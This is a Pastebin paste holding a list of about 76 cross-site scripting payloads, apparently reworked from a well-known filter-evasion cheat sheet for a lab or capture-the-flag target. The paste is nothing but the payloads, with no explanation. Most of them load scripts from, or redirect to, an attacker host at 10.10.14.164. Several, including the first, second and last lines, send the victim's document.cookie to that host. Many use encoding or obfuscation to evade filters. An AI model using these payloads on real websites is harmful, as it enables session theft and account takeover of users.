Guest User

Untitled

a guest
Mar 23rd, 2024
1,087
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.35 KB | None | 0 0
  1. <script>document.location="http://10.10.14.164/xss-76.js?c="+document.cookie;</script>
  2. <img src=x onerror=document.location="http://10.10.14.164/xss-75.js?c="+document.cookie>
  3. <SCRIPT>window.location.replace('http://10.10.14.164/XSS-1');</SCRIPT>
  4. '';!--"<XSS>=&{()}
  5. <SCRIPT SRC=http://10.10.14.164/xss-2.js></SCRIPT>
  6. <IMG SRC="javascript:window.location.replace('http://10.10.14.164/XSS-3');">
  7. <IMG SRC=javascript:window.location.replace('http://10.10.14.164/XSS-4')>
  8. <IMG SRC=JaVaScRiPt:window.location.replace('http://10.10.14.164/XSS-5')>
  9. <IMG SRC=javascript:window.location.replace(&quot;http://10.10.14.164/XSS-6&quot;)>
  10. <IMG SRC=`javascript:window.location.replace('http://10.10.14.164/XSS-7')`>
  11. <IMG SRC=javascript:eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,114,101,112,108,97,99,101,40,39,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,53,54,46,49,48,54,47,88,83,83,45,57,39,41));)>
  12. SRC=&#10<IMG 6;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
  13. <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
  14. <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
  15. <IMG SRC="jav ascript:window.location.replace('http://10.10.14.164/XSS-13');">
  16. <IMG SRC="jav&#x09;ascript:window.location.replace('http://10.10.14.164/XSS-14');">
  17. <IMG SRC="jav&#x0A;ascript:window.location.replace('http://10.10.14.164/XSS-15');">
  18. <IMG SRC="jav&#x0D;ascript:window.location.replace('http://10.10.14.164/XSS-16');">
  19. <IMG SRC=" &#14; javascript:window.location.replace('http://10.10.14.164/XSS-17');">
  20. <SCRIPT/XSS SRC="http://10.10.14.164/xss-18.js"></SCRIPT>
  21. <SCRIPT SRC=http://10.10.14.164/xss-19.js?<B>
  22. <IMG SRC="javascript:window.location.replace('http://10.10.14.164/XSS-20')"
  23. <SCRIPT>a=/XSS/
  24. \";window.location.replace('http://10.10.14.164/XSS-22');//
  25. <INPUT TYPE="IMAGE" SRC="javascript:window.location.replace('http://10.10.14.164/XSS-23');">
  26. <BODY BACKGROUND="javascript:window.location.replace('http://10.10.14.164/XSS-24')">
  27. <BODY ONLOAD=window.location.replace('http://10.10.14.164/XSS-25')>
  28. <IMG DYNSRC="javascript:window.location.replace('http://10.10.14.164/XSS-26')">
  29. <IMG LOWSRC="javascript:window.location.replace('http://10.10.14.164/XSS-27')">
  30. <BGSOUND SRC="javascript:window.location.replace('http://10.10.14.164/XSS-28');">
  31. <BR SIZE="&{window.location.replace('http://10.10.14.164/XSS-29')}">
  32. <LAYER SRC="http://10.10.14.164/scriptlet-30.html"></LAYER>
  33. <LINK REL="stylesheet" HREF="javascript:window.location.replace('http://10.10.14.164/XSS-31');">
  34. <LINK REL="stylesheet" HREF="http://10.10.14.164/xss-32.css">
  35. <STYLE>@import'http://10.10.14.164/xss-33.css';</STYLE>
  36. <META HTTP-EQUIV="Link" Content="<http://10.10.14.164/xss-34.css>; REL=stylesheet">
  37. <STYLE>BODY{-moz-binding:url("http://10.10.14.164/xssmoz-35.xml#xss")}</STYLE>
  38. <IMG SRC='vbscript:msgbox("XSS")'>
  39. <IMG SRC="mocha:[code]">
  40. <IMG SRC="livescript:[code]">
  41. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:window.location.replace('http://10.10.14.164/XSS-38');">
  42. <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnaHR0cDovLzE5Mi4xNjguNTYuMTA2L1hTUy00MCcpOzwvc2NyaVB0Pg==">
  43. <META HTTP-EQUIV="Link" Content="<javascript:window.location.replace('http://10.10.14.164/XSS-41')>; REL=stylesheet">
  44. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:window.location.replace('http://10.10.14.164/XSS-42');">
  45. <IFRAME SRC="javascript:window.location.replace('http://10.10.14.164/XSS-43');"></IFRAME>
  46. <FRAMESET><FRAME SRC="javascript:window.location.replace('http://10.10.14.164/XSS-44');"></FRAMESET>
  47. <TABLE BACKGROUND="javascript:window.location.replace('http://10.10.14.164/XSS-45')">
  48. <DIV STYLE="background-image: url(javascript:window.location.replace('http://10.10.14.164/XSS-46'))">
  49. <DIV STYLE="background-image: url(&#1;javascript:window.location.replace('http://10.10.14.164/XSS-47'))">
  50. <DIV STYLE="width: expression(window.location.replace('http://10.10.14.164/XSS-48'));">
  51. <STYLE>@im\port'\ja\vasc\ript:window.location.replace("http://10.10.14.164/XSS-49")';</STYLE>
  52. <IMG STYLE="xss:expr/*XSS*/ession(window.location.replace('http://10.10.14.164/XSS-50'))">
  53. <XSS STYLE="xss:expression(window.location.replace('http://10.10.14.164/XSS-51'))">
  54. exp/*<XSS STYLE='no\xss:noxss("*//*");
  55. <STYLE TYPE="text/javascript">window.location.replace('http://10.10.14.164/XSS-53');</STYLE>
  56. <STYLE>.XSS{background-image:url(javascript:window.location.replace('http://10.10.14.164/XSS-54'));}</STYLE><A CLASS=XSS></A>
  57. <STYLE type="text/css">BODY{background:url(javascript:window.location.replace('http://10.10.14.164/XSS-55'))}</STYLE>
  58. <BASE HREF="javascript:window.location.replace('http://10.10.14.164/XSS-56');//">
  59. <OBJECT TYPE="text/x-scriptlet" DATA="http://10.10.14.164/scriptlet-57.html"></OBJECT>
  60. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:window.location.replace('http://10.10.14.164/XSS-58')></OBJECT>
  61. getURL("javascript:window.location.replace('http://10.10.14.164/XSS-59')")
  62. a="get";
  63. <!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:window.location.replace('http://10.10.14.164/XSS-61');">
  64. <XML SRC="http://10.10.14.164/xsstest-62.xml" ID=I></XML>
  65. <HTML><BODY>
  66. <SCRIPT SRC="http://10.10.14.164/xss-64.jpg"></SCRIPT>
  67. <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://10.10.14.164/xss-65.js></SCRIPT>'"-->
  68. <? echo('<SCR)';
  69. <META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;window.location.replace('http://10.10.14.164/XSS-67')&lt;/SCRIPT&gt;">
  70. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-window.location.replace('http://10.10.14.164/XSS-68');+ADw-/SCRIPT+AD4-
  71. <SCRIPT a=">" SRC="http://10.10.14.164/xss-69.js"></SCRIPT>
  72. <SCRIPT a=">" '' SRC="http://10.10.14.164/xss-70.js"></SCRIPT>
  73. <SCRIPT "a='>'" SRC="http://10.10.14.164/xss-71.js"></SCRIPT>
  74. <SCRIPT a=`>` SRC="http://10.10.14.164/xss-72.js"></SCRIPT>
  75. <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://10.10.14.164/xss-73.js"></SCRIPT>
  76. <img src=x onerror=this.src="http://10.10.14.164/xss-74.js?c="+document.cookie>
  77.  
Add Comment
Please, Sign In to add comment